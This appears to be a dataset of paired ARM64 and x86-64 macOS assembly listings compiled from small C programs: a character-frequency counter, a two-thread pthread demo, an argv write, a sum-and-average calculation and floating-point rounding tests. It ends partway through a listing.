; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Enter the value of the string"
l_.str.1: ; @.str.1
.asciz "Enter the character whose frequency of occourance you want to find out"
l_.str.2: ; @.str.2
.asciz "%c"
l_.str.3: ; @.str.3
.asciz "%d"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $144, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -116(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq -112(%rbp), %rdi
callq _gets
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.2(%rip), %rdi
leaq -117(%rbp), %rsi
movb $0, %al
callq _scanf
movl $0, -124(%rbp)
movl $0, -128(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movslq -124(%rbp), %rax
movsbl -112(%rbp,%rax), %eax
cmpl $0, %eax
je LBB0_5
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movslq -124(%rbp), %rax
movsbl -112(%rbp,%rax), %eax
movsbl -117(%rbp), %ecx
cmpl %ecx, %eax
jne LBB0_4
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -128(%rbp), %eax
addl $1, %eax
movl %eax, -128(%rbp)
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
movl -124(%rbp), %eax
addl $1, %eax
movl %eax, -124(%rbp)
jmp LBB0_1
LBB0_5:
movl -128(%rbp), %esi
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movl -116(%rbp), %eax
movl %eax, -132(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_7
## %bb.6:
movl -132(%rbp), %eax ## 4-byte Reload
addq $144, %rsp
popq %rbp
retq
LBB0_7:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Enter the value of the string"
L_.str.1: ## @.str.1
.asciz "Enter the character whose frequency of occourance you want to find out"
L_.str.2: ## @.str.2
.asciz "%c"
L_.str.3: ## @.str.3
.asciz "%d"
.subsections_via_symbols
| the_stack_data/54824287.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
adrp x8, l_.str@PAGE
add x8, x8, l_.str@PAGEOFF
str x8, [sp, #32]
adrp x8, l_.str.1@PAGE
add x8, x8, l_.str.1@PAGEOFF
str x8, [sp, #24]
ldr x3, [sp, #32]
sub x0, x29, #16
mov x1, #0
adrp x2, _print_message_function@PAGE
add x2, x2, _print_message_function@PAGEOFF
bl _pthread_create
str w0, [sp, #20]
ldr w8, [sp, #20]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x0, [x8]
ldr w9, [sp, #20]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_2:
ldr x3, [sp, #24]
sub x0, x29, #24
mov x1, #0
adrp x2, _print_message_function@PAGE
add x2, x2, _print_message_function@PAGEOFF
bl _pthread_create
str w0, [sp, #16]
ldr w8, [sp, #16]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x0, [x8]
ldr w9, [sp, #16]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_4:
ldr w9, [sp, #20]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldr w9, [sp, #16]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
ldur x0, [x29, #-16]
mov x1, #0
str x1, [sp, #8] ; 8-byte Folded Spill
bl _pthread_join
ldr x1, [sp, #8] ; 8-byte Folded Reload
ldur x0, [x29, #-24]
bl _pthread_join
mov w0, #0
bl _exit
.cfi_endproc
; -- End function
.globl _print_message_function ; -- Begin function print_message_function
.p2align 2
_print_message_function: ; @print_message_function
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #16]
ldr x8, [sp, #16]
str x8, [sp, #8]
ldr x8, [sp, #8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
ldur x0, [x29, #-8]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Thread 1"
l_.str.1: ; @.str.1
.asciz "Thread 2"
l_.str.2: ; @.str.2
.asciz "Error - pthread_create() return code: %d\n"
l_.str.3: ; @.str.3
.asciz "pthread_create() for thread 1 returns: %d\n"
l_.str.4: ; @.str.4
.asciz "pthread_create() for thread 2 returns: %d\n"
l_.str.5: ; @.str.5
.asciz "%s \n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rax
movq %rax, -32(%rbp)
leaq L_.str.1(%rip), %rax
movq %rax, -40(%rbp)
movq -32(%rbp), %rcx
leaq -16(%rbp), %rdi
xorl %eax, %eax
movl %eax, %esi
leaq _print_message_function(%rip), %rdx
callq _pthread_create
movl %eax, -44(%rbp)
cmpl $0, -44(%rbp)
je LBB0_2
## %bb.1:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movl -44(%rbp), %edx
leaq L_.str.2(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_2:
movq -40(%rbp), %rcx
leaq -24(%rbp), %rdi
xorl %eax, %eax
movl %eax, %esi
leaq _print_message_function(%rip), %rdx
callq _pthread_create
movl %eax, -48(%rbp)
cmpl $0, -48(%rbp)
je LBB0_4
## %bb.3:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movl -48(%rbp), %edx
leaq L_.str.2(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_4:
movl -44(%rbp), %esi
leaq L_.str.3(%rip), %rdi
xorl %eax, %eax
movl %eax, -52(%rbp) ## 4-byte Spill
movb %al, -65(%rbp) ## 1-byte Spill
callq _printf
## kill: def $ecx killed $eax
movb -65(%rbp), %al ## 1-byte Reload
movl -48(%rbp), %esi
leaq L_.str.4(%rip), %rdi
callq _printf
## kill: def $ecx killed $eax
movl -52(%rbp), %eax ## 4-byte Reload
movq -16(%rbp), %rdi
movl %eax, %esi
movq %rsi, -64(%rbp) ## 8-byte Spill
callq _pthread_join
movq -64(%rbp), %rsi ## 8-byte Reload
movq -24(%rbp), %rdi
callq _pthread_join
movl -52(%rbp), %edi ## 4-byte Reload
callq _exit
.cfi_endproc
## -- End function
.globl _print_message_function ## -- Begin function print_message_function
.p2align 4, 0x90
_print_message_function: ## @print_message_function
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -16(%rbp)
movq -16(%rbp), %rax
movq %rax, -24(%rbp)
movq -24(%rbp), %rsi
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
movq -8(%rbp), %rax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Thread 1"
L_.str.1: ## @.str.1
.asciz "Thread 2"
L_.str.2: ## @.str.2
.asciz "Error - pthread_create() return code: %d\n"
L_.str.3: ## @.str.3
.asciz "pthread_create() for thread 1 returns: %d\n"
L_.str.4: ## @.str.4
.asciz "pthread_create() for thread 2 returns: %d\n"
L_.str.5: ## @.str.5
.asciz "%s \n"
.subsections_via_symbols
| the_stack_data/92326902.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #12] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
str x1, [sp, #16]
ldr x9, [sp, #16]
ldursw x10, [x29, #-8]
mov x8, x10
add w8, w8, #1
stur w8, [x29, #-8]
adrp x8, l_.str@PAGE
add x8, x8, l_.str@PAGEOFF
str x8, [x9, x10, lsl #3]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldr w0, [sp, #12] ; 4-byte Folded Reload
bl _exit
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "--"
l_.str.1: ; @.str.1
.asciz "bar.c"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -16(%rbp), %rax
movslq -8(%rbp), %rcx
movl %ecx, %edx
incl %edx
movl %edx, -8(%rbp)
leaq L_.str(%rip), %rdx
movq %rdx, (%rax,%rcx,8)
leaq L_.str.1(%rip), %rdi
xorl %eax, %eax
movl %eax, -20(%rbp) ## 4-byte Spill
callq _printf
movl -20(%rbp), %edi ## 4-byte Reload
callq _exit
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "--"
L_.str.1: ## @.str.1
.asciz "bar.c"
.subsections_via_symbols
| the_stack_data/124960.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #1
stur w8, [x29, #-4]
mov w8, #2
stur w8, [x29, #-8]
mov w8, #3
stur w8, [x29, #-12]
mov w8, #4
stur w8, [x29, #-16]
mov w8, #5
stur w8, [x29, #-20]
mov w8, #0
str w8, [sp, #20] ; 4-byte Folded Spill
stur wzr, [x29, #-24]
ldur w8, [x29, #-4]
ldur w9, [x29, #-8]
add w8, w8, w9
ldur w9, [x29, #-12]
add w8, w8, w9
ldur w9, [x29, #-16]
add w8, w8, w9
ldur w9, [x29, #-20]
add w8, w8, w9
stur w8, [x29, #-24]
ldur w9, [x29, #-24]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
fmov s0, #1.00000000
stur s0, [x29, #-28]
mov w8, #52429
movk w8, #16268, lsl #16
fmov s0, w8
stur s0, [x29, #-32]
mov w8, #39322
movk w8, #16281, lsl #16
fmov s0, w8
stur s0, [x29, #-36]
mov w8, #26214
movk w8, #16294, lsl #16
fmov s0, w8
stur s0, [x29, #-40]
mov w8, #13107
movk w8, #16307, lsl #16
fmov s0, w8
stur s0, [x29, #-44]
fmov s0, #1.50000000
str s0, [sp, #48]
mov w8, #52429
movk w8, #16332, lsl #16
fmov s0, w8
str s0, [sp, #44]
mov w8, #39322
movk w8, #16345, lsl #16
fmov s0, w8
str s0, [sp, #40]
mov w8, #26214
movk w8, #16358, lsl #16
fmov s0, w8
str s0, [sp, #36]
mov w8, #13107
movk w8, #16371, lsl #16
fmov s0, w8
str s0, [sp, #32]
fmov s0, #2.00000000
str s0, [sp, #28]
movi d0, #0000000000000000
str s0, [sp, #24]
ldur s0, [x29, #-28]
ldur s1, [x29, #-32]
fadd s0, s0, s1
ldur s1, [x29, #-36]
fadd s0, s0, s1
ldur s1, [x29, #-40]
fadd s0, s0, s1
ldur s1, [x29, #-44]
fadd s0, s0, s1
ldr s1, [sp, #48]
fadd s0, s0, s1
ldr s1, [sp, #44]
fadd s0, s0, s1
ldr s1, [sp, #40]
fadd s0, s0, s1
ldr s1, [sp, #36]
fadd s0, s0, s1
ldr s1, [sp, #32]
fadd s0, s0, s1
ldr s1, [sp, #28]
fadd s0, s0, s1
fmov s1, #10.00000000
fdiv s0, s0, s1
str s0, [sp, #24]
ldr s0, [sp, #24]
fcvt d0, s0
mov x8, sp
str d0, [x8]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
bl _getchar
ldr w0, [sp, #20] ; 4-byte Folded Reload
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
add sp, sp, #112
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Sum of 5 intergers = %d\n"
l_.str.1: ; @.str.1
.asciz "The average of 10 floats = %f"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal4,4byte_literals
.p2align 2 ## -- Begin function main
LCPI0_0:
.long 0x41200000 ## float 10
LCPI0_1:
.long 0x40000000 ## float 2
LCPI0_2:
.long 0x3ff33333 ## float 1.89999998
LCPI0_3:
.long 0x3fe66666 ## float 1.79999995
LCPI0_4:
.long 0x3fd9999a ## float 1.70000005
LCPI0_5:
.long 0x3fcccccd ## float 1.60000002
LCPI0_6:
.long 0x3fc00000 ## float 1.5
LCPI0_7:
.long 0x3fb33333 ## float 1.39999998
LCPI0_8:
.long 0x3fa66666 ## float 1.29999995
LCPI0_9:
.long 0x3f99999a ## float 1.20000005
LCPI0_10:
.long 0x3f8ccccd ## float 1.10000002
LCPI0_11:
.long 0x3f800000 ## float 1
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
movl $1, -4(%rbp)
movl $2, -8(%rbp)
movl $3, -12(%rbp)
movl $4, -16(%rbp)
movl $5, -20(%rbp)
movl $0, -24(%rbp)
movl -4(%rbp), %eax
addl -8(%rbp), %eax
addl -12(%rbp), %eax
addl -16(%rbp), %eax
addl -20(%rbp), %eax
movl %eax, -24(%rbp)
movl -24(%rbp), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movss LCPI0_11(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss %xmm0, -28(%rbp)
movss LCPI0_10(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss %xmm0, -32(%rbp)
movss LCPI0_9(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss %xmm0, -36(%rbp)
movss LCPI0_8(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss %xmm0, -40(%rbp)
movss LCPI0_7(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss %xmm0, -44(%rbp)
movss LCPI0_6(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss %xmm0, -48(%rbp)
movss LCPI0_5(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss %xmm0, -52(%rbp)
movss LCPI0_4(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss %xmm0, -56(%rbp)
movss LCPI0_3(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss %xmm0, -60(%rbp)
movss LCPI0_2(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss %xmm0, -64(%rbp)
movss LCPI0_1(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss %xmm0, -68(%rbp)
xorps %xmm0, %xmm0
movss %xmm0, -72(%rbp)
movss -28(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
addss -32(%rbp), %xmm0
addss -36(%rbp), %xmm0
addss -40(%rbp), %xmm0
addss -44(%rbp), %xmm0
addss -48(%rbp), %xmm0
addss -52(%rbp), %xmm0
addss -56(%rbp), %xmm0
addss -60(%rbp), %xmm0
addss -64(%rbp), %xmm0
addss -68(%rbp), %xmm0
movss LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero
divss %xmm1, %xmm0
movss %xmm0, -72(%rbp)
movss -72(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
leaq L_.str.1(%rip), %rdi
movb $1, %al
callq _printf
callq _getchar
xorl %eax, %eax
addq $80, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Sum of 5 intergers = %d\n"
L_.str.1: ## @.str.1
.asciz "The average of 10 floats = %f"
.subsections_via_symbols
| the_stack_data/162642960.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _test1 ; -- Begin function test1
.p2align 2
_test1: ; @test1
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
frintx d0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test11 ; -- Begin function test11
.p2align 2
_test11: ; @test11
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
fmov x0, d0
fmov d0, x0
frintx d0, d0
fcvtzs x0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test12 ; -- Begin function test12
.p2align 2
_test12: ; @test12
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
frintx d0, d0
fcvtzs x0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test2 ; -- Begin function test2
.p2align 2
_test2: ; @test2
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
frintm d0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test3 ; -- Begin function test3
.p2align 2
_test3: ; @test3
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
frintp d0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test4 ; -- Begin function test4
.p2align 2
_test4: ; @test4
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
frintz d0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test5 ; -- Begin function test5
.p2align 2
_test5: ; @test5
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
frinti d0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test1f ; -- Begin function test1f
.p2align 2
_test1f: ; @test1f
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str s0, [sp, #12]
ldr s0, [sp, #12]
frintx s0, s0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test11f ; -- Begin function test11f
.p2align 2
_test11f: ; @test11f
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str s0, [sp, #12]
ldr s0, [sp, #12]
fmov w0, s0
fmov s0, w0
frintx s0, s0
fcvtzs x0, s0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test12f ; -- Begin function test12f
.p2align 2
_test12f: ; @test12f
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str s0, [sp, #12]
ldr s0, [sp, #12]
frintx s0, s0
fcvtzs x0, s0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test2f ; -- Begin function test2f
.p2align 2
_test2f: ; @test2f
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str s0, [sp, #12]
ldr s0, [sp, #12]
frintm s0, s0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test3f ; -- Begin function test3f
.p2align 2
_test3f: ; @test3f
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str s0, [sp, #12]
ldr s0, [sp, #12]
frintp s0, s0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test4f ; -- Begin function test4f
.p2align 2
_test4f: ; @test4f
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str s0, [sp, #12]
ldr s0, [sp, #12]
frintz s0, s0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test5f ; -- Begin function test5f
.p2align 2
_test5f: ; @test5f
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str s0, [sp, #12]
ldr s0, [sp, #12]
frinti s0, s0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test1l ; -- Begin function test1l
.p2align 2
_test1l: ; @test1l
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
frintx d0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test11l ; -- Begin function test11l
.p2align 2
_test11l: ; @test11l
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
fmov x0, d0
fmov d0, x0
frintx d0, d0
fcvtzs x0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test12l ; -- Begin function test12l
.p2align 2
_test12l: ; @test12l
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
frintx d0, d0
fcvtzs x0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test2l ; -- Begin function test2l
.p2align 2
_test2l: ; @test2l
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
frintm d0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test3l ; -- Begin function test3l
.p2align 2
_test3l: ; @test3l
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
frintp d0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test4l ; -- Begin function test4l
.p2align 2
_test4l: ; @test4l
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
frintz d0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _test5l ; -- Begin function test5l
.p2align 2
_test5l: ; @test5l
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
frinti d0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _test1 ## -- Begin function test1
.p2align 4, 0x90
_test1: ## @test1
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movsd %xmm0, -8(%rbp)
movsd -8(%rbp), %xmm0 ## xmm0 = mem[0],zero
roundsd $4, %xmm0, %xmm0
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test11 ## -- Begin function test11
.p2align 4, 0x90
_test11: ## @test11
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movsd %xmm0, -8(%rbp)
movsd -8(%rbp), %xmm0 ## xmm0 = mem[0],zero
cvtsd2si %xmm0, %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test12 ## -- Begin function test12
.p2align 4, 0x90
_test12: ## @test12
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movsd %xmm0, -8(%rbp)
movsd -8(%rbp), %xmm0 ## xmm0 = mem[0],zero
cvtsd2si %xmm0, %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test2 ## -- Begin function test2
.p2align 4, 0x90
_test2: ## @test2
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movsd %xmm0, -8(%rbp)
movsd -8(%rbp), %xmm0 ## xmm0 = mem[0],zero
roundsd $9, %xmm0, %xmm0
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test3 ## -- Begin function test3
.p2align 4, 0x90
_test3: ## @test3
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movsd %xmm0, -8(%rbp)
movsd -8(%rbp), %xmm0 ## xmm0 = mem[0],zero
roundsd $10, %xmm0, %xmm0
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test4 ## -- Begin function test4
.p2align 4, 0x90
_test4: ## @test4
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movsd %xmm0, -8(%rbp)
movsd -8(%rbp), %xmm0 ## xmm0 = mem[0],zero
roundsd $11, %xmm0, %xmm0
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test5 ## -- Begin function test5
.p2align 4, 0x90
_test5: ## @test5
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movsd %xmm0, -8(%rbp)
movsd -8(%rbp), %xmm0 ## xmm0 = mem[0],zero
roundsd $12, %xmm0, %xmm0
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test1f ## -- Begin function test1f
.p2align 4, 0x90
_test1f: ## @test1f
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movss %xmm0, -4(%rbp)
movss -4(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
roundss $4, %xmm0, %xmm0
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test11f ## -- Begin function test11f
.p2align 4, 0x90
_test11f: ## @test11f
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movss %xmm0, -4(%rbp)
movss -4(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2si %xmm0, %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test12f ## -- Begin function test12f
.p2align 4, 0x90
_test12f: ## @test12f
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movss %xmm0, -4(%rbp)
